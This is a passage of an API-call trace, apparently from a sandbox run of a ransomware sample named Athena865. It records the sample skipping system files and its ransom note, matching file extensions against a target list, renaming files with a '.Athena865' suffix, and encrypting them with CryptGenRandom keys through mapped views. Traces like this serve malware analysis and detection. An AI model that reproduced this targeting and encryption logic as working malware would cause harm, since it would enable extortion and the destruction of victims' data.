returned -1 [0118.021] lstrlenW (lpString="teacher") returned 7 [0118.021] lstrcmpiW (lpString1="oee.dll", lpString2="teacher") returned -1 [0118.021] lstrlenW (lpString="tmd") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.021] lstrlenW (lpString="tps") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.021] lstrlenW (lpString="trc") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.021] lstrlenW (lpString="trc") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.021] lstrlenW (lpString="trm") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.021] lstrlenW (lpString="udb") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.021] lstrlenW (lpString="udl") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.021] lstrlenW (lpString="usr") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.022] lstrlenW (lpString="v12") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.022] lstrlenW (lpString="vis") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.022] lstrlenW (lpString="vpd") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.022] lstrlenW (lpString="vvv") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.022] lstrlenW (lpString="wdb") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.022] lstrlenW (lpString="wmdb") returned 4 [0118.022] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.022] lstrlenW (lpString="wrk") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.022] lstrlenW (lpString="xdb") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.022] lstrlenW (lpString="xld") returned 3 [0118.022] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.022] lstrlenW (lpString="xmlff") returned 5 [0118.022] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0118.022] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.Athena865") returned 72 [0118.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.athena865"), dwFlags=0x1) returned 1 [0118.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.026] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=184648) returned 1 [0118.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0118.027] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0118.028] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.028] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.028] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d450, lpName=0x0) returned 0x154 [0118.030] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d450) returned 0x170000 [0118.038] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0118.039] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.039] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0118.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0118.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.040] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0118.042] CloseHandle (hObject=0x154) returned 1 [0118.042] CloseHandle (hObject=0x17c) returned 1 [0118.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.043] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="..") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="windows") returned -1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootmgr") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="temp") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="pagefile.sys") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="boot") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ids.txt") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ntuser.dat") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="perflogs") returned 1 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="MSBuild") returned 1 [0118.043] lstrlenW (lpString="vstoee100.tlb") returned 13 [0118.043] lstrcpyW (in: lpString1=0x241e8b0, lpString2="vstoee100.tlb" | out: lpString1="vstoee100.tlb") returned="vstoee100.tlb" [0118.043] lstrlenW (lpString="vstoee100.tlb") returned 13 [0118.043] lstrlenW (lpString="Athena865") returned 9 [0118.043] lstrcmpiW (lpString1="ee100.tlb", lpString2="Athena865") returned 1 [0118.043] lstrlenW (lpString=".dll") returned 4 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".dll") returned 1 [0118.043] lstrlenW (lpString=".lnk") returned 4 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".lnk") returned 1 [0118.043] lstrlenW (lpString=".ini") returned 4 [0118.043] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".ini") returned 1 [0118.044] lstrlenW (lpString=".sys") returned 4 [0118.044] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".sys") returned 1 [0118.044] lstrlenW (lpString="vstoee100.tlb") returned 13 [0118.044] lstrlenW (lpString="bak") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="bak") returned 1 [0118.044] lstrlenW (lpString="ba_") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="ba_") returned 1 [0118.044] lstrlenW (lpString="dbb") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="dbb") returned 1 [0118.044] lstrlenW (lpString="vmdk") returned 4 [0118.044] lstrcmpiW (lpString1=".tlb", lpString2="vmdk") returned -1 [0118.044] lstrlenW (lpString="rar") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="rar") returned 1 [0118.044] lstrlenW (lpString="zip") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="zip") returned -1 [0118.044] lstrlenW (lpString="tgz") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="tgz") returned 1 [0118.044] lstrlenW (lpString="vbox") returned 4 [0118.044] lstrcmpiW (lpString1=".tlb", lpString2="vbox") returned -1 [0118.044] lstrlenW (lpString="vdi") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="vdi") returned -1 [0118.044] lstrlenW (lpString="vhd") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="vhd") returned -1 [0118.044] lstrlenW (lpString="vhdx") returned 4 [0118.044] lstrcmpiW (lpString1=".tlb", lpString2="vhdx") returned -1 [0118.044] lstrlenW (lpString="avhd") returned 4 [0118.044] lstrcmpiW (lpString1=".tlb", lpString2="avhd") returned -1 [0118.044] lstrlenW (lpString="db") returned 2 [0118.044] lstrcmpiW (lpString1="lb", lpString2="db") returned 1 [0118.044] lstrlenW (lpString="db2") returned 3 [0118.044] lstrcmpiW (lpString1="tlb", lpString2="db2") returned 1 [0118.045] lstrlenW (lpString="db3") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="db3") returned 1 [0118.045] lstrlenW (lpString="dbf") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="dbf") returned 1 [0118.045] lstrlenW (lpString="mdf") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="mdf") returned 1 [0118.045] lstrlenW (lpString="mdb") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="mdb") returned 1 [0118.045] lstrlenW (lpString="sql") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="sql") returned 1 [0118.045] lstrlenW (lpString="sqlite") returned 6 [0118.045] lstrcmpiW (lpString1="00.tlb", lpString2="sqlite") returned -1 [0118.045] lstrlenW (lpString="sqlite3") returned 7 [0118.045] lstrcmpiW (lpString1="100.tlb", lpString2="sqlite3") returned -1 [0118.045] lstrlenW (lpString="sqlitedb") returned 8 [0118.045] lstrcmpiW (lpString1="e100.tlb", lpString2="sqlitedb") returned -1 [0118.045] lstrlenW (lpString="xml") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="xml") returned -1 [0118.045] lstrlenW (lpString="$er") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="$er") returned 1 [0118.045] lstrlenW (lpString="4dd") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="4dd") returned 1 [0118.045] lstrlenW (lpString="4dl") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="4dl") returned 1 [0118.045] lstrlenW (lpString="^^^") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="^^^") returned 1 [0118.045] lstrlenW (lpString="abs") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="abs") returned 1 [0118.045] lstrlenW (lpString="abx") returned 3 [0118.045] lstrcmpiW (lpString1="tlb", lpString2="abx") returned 1 [0118.045] lstrlenW (lpString="accdb") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accdb") returned -1 [0118.046] lstrlenW (lpString="accdc") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accdc") returned -1 [0118.046] lstrlenW (lpString="accde") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accde") returned -1 [0118.046] lstrlenW (lpString="accdr") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accdr") returned -1 [0118.046] lstrlenW (lpString="accdt") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accdt") returned -1 [0118.046] lstrlenW (lpString="accdw") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accdw") returned -1 [0118.046] lstrlenW (lpString="accft") returned 5 [0118.046] lstrcmpiW (lpString1="0.tlb", lpString2="accft") returned -1 [0118.046] lstrlenW (lpString="adb") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.046] lstrlenW (lpString="adb") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.046] lstrlenW (lpString="ade") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="ade") returned 1 [0118.046] lstrlenW (lpString="adf") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="adf") returned 1 [0118.046] lstrlenW (lpString="adn") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="adn") returned 1 [0118.046] lstrlenW (lpString="adp") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="adp") returned 1 [0118.046] lstrlenW (lpString="alf") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="alf") returned 1 [0118.046] lstrlenW (lpString="ask") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="ask") returned 1 [0118.046] lstrlenW (lpString="btr") returned 3 [0118.046] lstrcmpiW (lpString1="tlb", lpString2="btr") returned 1 [0118.047] lstrlenW (lpString="cat") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="cat") returned 1 [0118.047] lstrlenW (lpString="cdb") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="cdb") returned 1 [0118.047] lstrlenW (lpString="ckp") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="ckp") returned 1 [0118.047] lstrlenW (lpString="cma") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="cma") returned 1 [0118.047] lstrlenW (lpString="cpd") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="cpd") returned 1 [0118.047] lstrlenW (lpString="dacpac") returned 6 [0118.047] lstrcmpiW (lpString1="00.tlb", lpString2="dacpac") returned -1 [0118.047] lstrlenW (lpString="dad") returned 3 [0118.047] lstrcmpiW (lpString1="tlb", lpString2="dad") returned 1 [0118.047] lstrlenW (lpString="dadiagrams") returned 10 [0118.047] lstrcmpiW (lpString1="oee100.tlb", lpString2="dadiagrams") returned 1 [0118.047] lstrlenW (lpString="daschema") returned 8 [0118.047] lstrcmpiW (lpString1="e100.tlb", lpString2="daschema") returned 1 [0118.047] lstrlenW (lpString="db-journal") returned 10 [0118.047] lstrcmpiW (lpString1="oee100.tlb", lpString2="db-journal") returned 1 [0118.048] lstrlenW (lpString="db-shm") returned 6 [0118.048] lstrcmpiW (lpString1="00.tlb", lpString2="db-shm") returned -1 [0118.048] lstrlenW (lpString="db-wal") returned 6 [0118.048] lstrcmpiW (lpString1="00.tlb", lpString2="db-wal") returned -1 [0118.048] lstrlenW (lpString="dbc") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dbc") returned 1 [0118.048] lstrlenW (lpString="dbs") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dbs") returned 1 [0118.048] lstrlenW (lpString="dbt") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dbt") returned 1 [0118.048] lstrlenW (lpString="dbv") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dbv") returned 1 [0118.048] lstrlenW (lpString="dbx") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dbx") returned 1 [0118.048] lstrlenW (lpString="dcb") returned 3 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dcb") returned 1 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dct") returned 1 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="dcx") returned 1 [0118.048] lstrcmpiW (lpString1="tlb", lpString2="ddl") returned 1 [0118.048] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.Athena865") returned 75 [0118.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.athena865"), dwFlags=0x1) returned 1 [0118.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.050] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16208) returned 1 [0118.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0118.050] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0118.051] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.051] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.051] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4250, lpName=0x0) returned 0x154 [0118.053] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4250) returned 0x100000 [0118.054] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0118.054] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.054] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0118.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.055] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.055] CloseHandle (hObject=0x154) returned 1 [0118.055] CloseHandle (hObject=0x17c) returned 1 [0118.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0118.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="..") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="windows") returned -1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="bootmgr") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="temp") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="pagefile.sys") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="boot") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ids.txt") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="ntuser.dat") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="perflogs") returned 1 [0118.056] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="MSBuild") returned 1 [0118.056] lstrlenW (lpString="vstoee90.tlb") returned 12 [0118.056] lstrcpyW (in: lpString1=0x241e8b0, lpString2="vstoee90.tlb" | out: lpString1="vstoee90.tlb") returned="vstoee90.tlb" [0118.056] lstrlenW (lpString="vstoee90.tlb") returned 12 [0118.056] lstrlenW (lpString="Athena865") returned 9 [0118.057] lstrcmpiW (lpString1="oee90.tlb", lpString2="Athena865") returned 1 [0118.057] lstrlenW (lpString=".dll") returned 4 [0118.057] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".dll") returned 1 [0118.057] lstrlenW (lpString=".lnk") returned 4 [0118.057] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".lnk") returned 1 [0118.057] lstrlenW (lpString=".ini") returned 4 [0118.057] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".ini") returned 1 [0118.057] lstrlenW (lpString=".sys") returned 4 [0118.057] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".sys") returned 1 [0118.057] lstrlenW (lpString="vstoee90.tlb") returned 12 [0118.057] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.Athena865") returned 74 [0118.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.athena865"), dwFlags=0x1) returned 1 [0118.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.058] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21840) returned 1 [0118.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0118.059] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0118.060] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.060] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.060] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5850, lpName=0x0) returned 0x154 [0118.063] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5850) returned 0x100000 [0118.064] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0118.065] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.065] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0118.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0118.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0118.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.065] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.066] CloseHandle (hObject=0x154) returned 1 [0118.066] CloseHandle (hObject=0x17c) returned 1 [0118.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 